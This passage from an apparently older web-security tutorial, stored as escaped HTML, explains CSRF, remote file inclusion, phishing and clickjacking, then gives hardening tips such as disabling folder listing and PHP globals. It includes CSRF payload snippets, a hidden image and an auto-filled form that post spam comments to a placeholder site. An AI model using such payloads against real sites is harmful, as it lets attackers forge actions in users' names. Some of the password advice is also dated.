&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;10&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;11&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;label&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;for&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;comment&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;Comment&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;label&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;12&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;textarea&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;id&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;comment&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;comment&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;textarea&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;13&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;14&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;submit&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;tell me more&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;15&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;form&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Forms can be sent by two methods: GET adds all of the parameters to 
the URI visibly in the address bar, whereas POST sends them “under the 
hood.” POST also allows you to send much more data. This is a 
simplification but all you need to know for now.
If the script that adds to the database doesn’t check that the form 
was really sent from your server, I could add an image to any website by
 doing this:
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_95608&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;img&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;src=&quot;&lt;a href=&quot;http://example.com/add_to_db.php?&quot;&gt;http://example.com/add_to_db.php?&lt;/a&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;cheap&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;%20rolex&amp;amp;&lt;/code&gt;&lt;code class=&quot;color1&quot;&gt;email&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;susan&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;@hotchicks.com&amp;amp;&lt;/code&gt;&lt;code class=&quot;color1&quot;&gt;comment&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;mortgage&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;%20help&quot; &lt;/code&gt;&lt;code class=&quot;color1&quot;&gt;width&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;1&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;height&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;1&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Anybody coming to my website would now be putting another comment 
into your database. I could use an image or CSS link or script or 
anything that allows for a URI to be defined and loaded by a browser 
when the HTML renders. In CSS, this could be a background image.
CSRF becomes even more dangerous when you are logged into and 
authenticated by a particular system. An image in any other tab in your 
browser could execute a money transfer, read your emails and send them 
on and many other evil things.
A really interesting case of CSRF (albeit an innocent one) occurred in 2006, when Google released its now discontinued &lt;a href=&quot;http://webaccelerator.google.com/&quot;&gt;Web accelerator tool (GWA)&lt;/a&gt;.
 The idea was to pre-fetch websites that were linked to from the current
 document, thus making surfing faster. All well and good… until you 
ended up with delete links in websites that worked like this:
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_919196&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;a&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;href&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;/app/delete_entry.php?id=12&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;delete&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;a&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Because some applications did not check if this was an initiated 
deletion or an attempt of GWA to pre-load the page, the tool deleted 
whole blogs and product databases. Google did nothing wrong, but the 
community learned a lot about CSRF that day.
Now, you might suppose that moving your forms from GET to POST would 
make them safe, right? Partially, yes, but an attacker could still use a
 form and trick people into clicking a button to make the request:
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_48326&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;form&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;method&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;post&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;action&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;add_to_db.php&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;3&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;name&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;bob&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;4&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;email&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;bob@experts.com&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;5&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;hidden&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;name&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;comment&quot;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;awesome article, buy cialis now!&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;7&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;lt;&lt;/code&gt;&lt;code class=&quot;keyword&quot;&gt;input&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;type&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;submit&quot;&lt;/code&gt; &lt;code class=&quot;color1&quot;&gt;value&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;=&lt;/code&gt;&lt;code class=&quot;string&quot;&gt;&quot;see beautiful kittens now!&quot;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt2&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;8&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;spaces&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;div&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;9&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;form&lt;/code&gt;&lt;code class=&quot;plain&quot;&gt;&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;You could even use JavaScript to automatically send the form or a 
script on another server to do the POST request from the back-end. There
 are many ways to exploit CSRF, and &lt;a href=&quot;http://php-ids.org/category/csrfx/&quot;&gt;protecting against it is not that hard&lt;/a&gt;.
&lt;h4&gt;Remote File Inclusion (RFI)&lt;/h4&gt;With &lt;a href=&quot;http://en.wikipedia.org/wiki/Remote_File_Inclusion&quot;&gt;Remote file inclusion&lt;/a&gt; or &lt;a href=&quot;http://en.wikipedia.org/wiki/Code_injection&quot;&gt;code injection&lt;/a&gt;,
 an attacker uses a flaw in your website to inject code from another 
server to run on yours. It is in the same family as XSS but much more 
problematic because you have full access to your server (with 
JavaScript, you can steal cookies and call other code, but you can’t 
access the file system without resorting to tricks with Flash or Java 
Applets).
Any code injected to your server with an untested variable and &lt;code&gt;include()&lt;/code&gt;
 command, for example, could run server commands: upload and download 
and transfer data to other servers, check your server passwords and user
 names, anything you can do on the command line via PHP or ASP if your 
server allows for it.
This is probably the worst that can happen to your server, because 
with command line access, I could turn it into an attack machine for a 
server network attack, silently listen to everything you and your users 
do on the server and send it to another Web resource, store information 
and viruses for distribution, inject spam links, you name it. 
The workaround is to turn off &lt;code&gt;globals&lt;/code&gt; and to never &lt;em&gt;ever&lt;/em&gt; assemble a URI from parameter or form data. (More on that later in the PHP section of the tips.)
&lt;h4&gt;Phishing&lt;/h4&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Phishing&quot;&gt;Phishing&lt;/a&gt; is the 
technique of fooling people into entering information into a bad 
website. You show end users an interface that looks legit (for a bank or
 what have you) but that in reality sends their information to your 
database. Because phishing is a felony, I cannot show you a demo.
The trick with phishing is to make the form really look like it comes
 from a website you trust. You have probably gotten emails saying that 
your “XYZ bank account” has been compromised, and you know for certain 
that this isn’t the case because you have no account with that bank and 
may not have even heard of it. This is a wild-guess phishing attempt, 
which is not usually effective.
On the Web, though, an attacker can perform a JavaScript trick to find out where you’ve been. As &lt;a href=&quot;http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html&quot;&gt;Jeremiah Grossman showed some years ago&lt;/a&gt;,
 you can use JavaScript to determine the state of a link on the page. 
Because the colors of visited and unvisited links are different, we can 
use this technique to figure which websites a user has been to and then 
display the appropriate logo above the form. &lt;a href=&quot;http://www.debugtheweb.com/test/cssvisited.htm&quot;&gt;This demo shows this quite effectively&lt;/a&gt;. Funny enough, you can also use this trick for good; for example, by &lt;a href=&quot;http://www.azarask.in/blog/post/socialhistoryjs/&quot;&gt;showing people only the buttons of social media websites they use&lt;/a&gt;.
&lt;h4&gt;Clickjacking&lt;/h4&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Clickjacking&quot;&gt;Clickjacking&lt;/a&gt; 
is a terribly clever way to use CSS and inline frames to trick users 
into clicking something without knowing it. Probably the most famous 
example of this was the “Don’t click me” exploit of Twitter a few months
 ago. All of a sudden, Twitter was full of messages pointing to a 
website with a button that read “Don’t click me”. Here is an examples 
for Jason Kottke’s stream:
&lt;a href=&quot;http://dsandler.org/wp/archives/2009/02/12/dontclick&quot;&gt;&lt;img alt=&quot;The don&#39;t click Twitterbomb in action.&quot; height=&quot;143&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/dontclick.jpg&quot; width=&quot;453&quot; /&gt;&lt;/a&gt;
&lt;em&gt;&lt;a href=&quot;http://dsandler.org/wp/archives/2009/02/12/dontclick&quot;&gt;Twitter’s “Don’t Click” prank, explained&lt;/a&gt;&lt;/em&gt;
Human nature being what it is, many people clicked the button, which 
seemingly did nothing. What it actually did, though, was put your 
Twitter home page on top of the button as a frame, with an opacity of 0 
in the CSS. The update field was pre-set with the tweet pointing to the 
page. The following screenshot makes this obvious, with the opacity set 
here to 0.5:
&lt;img alt=&quot;How the clickjacking twitter bomb worked.&quot; height=&quot;308&quot; src=&quot;http://coding.smashingmagazine.com/wp-content/uploads/2010/01/clickjacking1.jpg&quot; width=&quot;609&quot; /&gt;
By clickjacking, you can make end users do things without knowing it.
 Every action on a website that can be performed with a simple click can
 be exploited with this trick.
Clickjacking is a massive problem because it is done via CSS, not a 
script. Unless browsers block frames from having an opacity of 0, there 
is no simple workaround. The main counter-measure people take is to 
disallow embedding in frames using JavaScript. However, with JavaScript 
off, clickjacking still works.
&lt;h3&gt;Basic Ways To Increase Web Security&lt;/h3&gt;Now that you know a bit about what can be done to your website by the bad guys, here are some ways to fight them off.
&lt;h4&gt;Keep Code Up to Date&lt;/h4&gt;There is no better protection than keeping your code up to date. 
Outdated versions of WordPress, old installs of PHP and MySQL, even old 
browsers, all of these are security issues because most updates to 
software these days are security patches. It is a rat race between those
 who want the Web to work and those who want to abuse it to make a quick
 buck or to steal your identity. So please help the good guys by 
upgrading whenever a new version is out.
&lt;h4&gt;Don’t Stay Logged In, and Don’t Entice Others to Either&lt;/h4&gt;Staying logged in while not using a system is dangerous. Other 
websites you surf to can check that you are logged in and then clickjack
 you to make you do something you don’t mean to or aren’t aware of. This
 is especially dangerous with social media because everything you do 
will be sent to all your friends and probably replicated by them. It is a
 snowball effect.
In my perfect world, no form has a “Keep me logged in” option, which 
of course would be a nuisance to end users. I would love to see a 
clever, usable solution to this problem. I use a Flex client for 
Twitter, not a browser, which means I am not vulnerable even on websites
 with clickjacking and cross-site request forgery (the latter only if 
people do not abuse the API to phish my followers; see the presentations
 at the end of this article for a demo of that).
&lt;h4&gt;Use Clever Passwords, and Entice Users to Do the Same&lt;/h4&gt;Even on bullet-proof systems, one attack vector is users whose 
passwords are very easy to guess. I change my passwords every few weeks,
 and I take inspiration from a book I am reading or a movie I have just 
seen. I also replace some characters and with numbers to make dictionary
 attacks harder.
There are &lt;strong&gt;two ways to crack a password&lt;/strong&gt; (other than 
social engineering, which is making you tell me your password by 
tricking you or phishing): brute force and dictionary attacks. Brute 
force entails writing a loop that tries all of the different options 
(much like playing hangman), which can take ages and uses a lot of 
computing power. Dictionary attacks use a dictionary database to attempt
 common words instead of going letter by letter.
Say I am reading a Sherlock Holmes book or have just seen the new screen adaptation, my password could be &lt;code&gt;Sh3rl0ckW4t50n&lt;/code&gt; or &lt;code&gt;b4sk3rv!ll3&lt;/code&gt;.
 That may be a bit hardcore for most people but is generally a good 
idea. Another strategy is to take a sentence that you can memorize 
easily and string together the initial letters. For example, “I like to 
buy food for my dog and to walk with it” would be &lt;code&gt;Il2bffmda2wwi&lt;/code&gt; or even &lt;code&gt;Il2bffmd&amp;amp;2wwi&lt;/code&gt;.
So, if you build a new Web product that needs authentication, and you
 really need to build your own log-in system rather than use Google, 
Yahoo, Facebook Connect or OpenID (which might be a good idea), please 
do not allow users to use passwords like “password” or the 
not-much-safer “password1.” Recently, a &lt;a href=&quot;http://www.gaj-it.com/14253/twitter-bans-370-passwords-too-easy-to-hack&quot;&gt;list of passwords banned by Twitter&lt;/a&gt; leaked onto the Web, &lt;a href=&quot;http://sharetext.org/BEM&quot;&gt;shown here as the full code&lt;/a&gt;. This is a good idea (the list, that is, not the leak).
&lt;h3&gt;What To Do On Your Server&lt;/h3&gt;Even if you are not a server expert, that’s no excuse for running an insecure server. Here are some things to make sure of.
&lt;h4&gt;Turn Off Folder Listing&lt;/h4&gt;As explained earlier, allowing people to navigate your folders (i.e. 
path traversal) is a bad idea. Testing whether your server has path 
traversal turned on is easy:
&lt;ol&gt;&lt;li&gt;Create a new folder on the server; for example, &lt;em&gt;pathtest&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Add some files to the folder. But do not add &lt;em&gt;index.html&lt;/em&gt;, &lt;em&gt;index.php&lt;/em&gt;, &lt;em&gt;default.aspx&lt;/em&gt; or whatever else your server uses as the default file name.&lt;/li&gt;
&lt;li&gt;Check the folder in your browser; for example, by going to &lt;code&gt;http://example.com/pathtest/&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If you can see a listing, contact your server admin to turn that off!&lt;/li&gt;
&lt;/ol&gt;&lt;h4&gt;Harden Your PHP&lt;/h4&gt;If you have a server with PHP, be aware that you are in control of a 
powerful tool. The worst oversight someone could make is to allow any 
parameter that comes in from the URI to become a global variable. This 
is turned off by default on PHP installs in version 4.2.0 and onward, 
but your configuration may have changed. In fact, some tutorials 
recommend that you turn it on for a script to work: this is a very, very
 bad idea.
You can easily test if globals are enabled:
&lt;ol&gt;&lt;li&gt;Create a new file named &lt;em&gt;test.php&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;Add the following code to it: &lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_842435&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td class=&quot;number&quot;&gt;&lt;code&gt;1&lt;/code&gt;&lt;/td&gt;&lt;td class=&quot;content&quot;&gt;&lt;code class=&quot;plain&quot;&gt;&lt;!--?&lt;/code--&gt;&lt;code class=&quot;keyword&quot;&gt;php&lt;/code&gt; &lt;code class=&quot;plain&quot;&gt;echo &quot;*&quot;.$ouch.&#39;*&#39;;?&amp;gt;&lt;/code&gt;&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;Upload the file to your server.&lt;/li&gt;
&lt;li&gt;Browse to the file, and send a parameter called ouch; for example: &lt;code&gt;http://example.com/test.php?ouch=that+hurts&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;If your browser shows “*that hurts*”, then your server has globals registered.&lt;/li&gt;
&lt;li&gt;Contact your server admin to get this fixed!&lt;/li&gt;
&lt;/ol&gt;Why is this important? Well, in our explanation of XSS earlier, we 
talked about attackers being able to add code to your page using the URI
 parameters in your script. If you don’t turn off globals, any variable 
you use and write out could become an attack. Even worse, consider the 
following code:
&lt;div class=&quot;syntaxhighlighter  &quot; id=&quot;highlighter_913010&quot;&gt;&lt;div class=&quot;lines&quot;&gt;&lt;div class=&quot;line alt1&quot;&gt;&lt;table&gt;&lt;tbody&gt;
